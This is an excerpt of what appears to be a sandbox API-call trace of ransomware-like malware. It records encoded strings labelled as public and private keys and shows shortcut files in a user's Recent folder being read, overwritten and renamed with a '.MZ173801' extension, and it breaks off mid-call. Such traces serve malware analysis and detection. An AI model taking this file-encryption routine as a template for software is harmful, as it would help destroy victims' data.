lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.465] GetCurrentThreadId () returned 0xab4 [0147.465] GetCurrentThreadId () returned 0xab4 [0147.465] GetCurrentThreadId () returned 0xab4 [0147.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bVOcRN8FT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bvocrn8ft.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.466] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.466] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.466] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3d6 [0147.466] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.466] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3d6, lpOverlapped=0x0) returned 1 [0147.466] CloseHandle (hObject=0x280) returned 1 [0147.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bVOcRN8FT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bvocrn8ft.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.467] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3d6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3d6, lpOverlapped=0x0) returned 1 [0147.468] CloseHandle (hObject=0x280) returned 1 [0147.469] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bVOcRN8FT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bvocrn8ft.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bVOcRN8FT.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bvocrn8ft.lnk.mz173801")) returned 1 [0147.469] GetCurrentThreadId () returned 0xab4 [0147.469] GetCurrentThreadId () returned 0xab4 [0147.469] GetCurrentThreadId () returned 0xab4 [0147.469] GetCurrentThreadId () returned 0xab4 [0147.469] GetCurrentThreadId () returned 0xab4 [0147.469] GetCurrentThreadId () returned 0xab4 [0147.469] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf313e41d, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf313e41d, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf313e41d, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bx_sreHB6g Fc-Lx.lnk", cAlternateFileName="BX_SRE~1.LNK")) returned 1 [0147.469] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.469] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bx_sreHB6g Fc-Lx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bx_srehb6g fc-lx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf313e41d, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf313e41d, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf313e41d, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e4)) returned 1 [0147.470] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bx_sreHB6g Fc-Lx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bx_srehb6g fc-lx.lnk")) returned 0x20 [0147.470] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bx_sreHB6g Fc-Lx.lnk", dwFileAttributes=0x80) returned 1 [0147.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.472] GetCurrentThreadId () returned 0xab4 [0147.472] GetCurrentThreadId () returned 0xab4 [0147.472] GetCurrentThreadId () returned 0xab4 [0147.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.473] GetCurrentThreadId () returned 0xab4 [0147.473] GetCurrentThreadId () returned 0xab4 [0147.473] GetCurrentThreadId () returned 0xab4 [0147.473] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bx_sreHB6g Fc-Lx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bx_srehb6g fc-lx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.473] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.473] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, 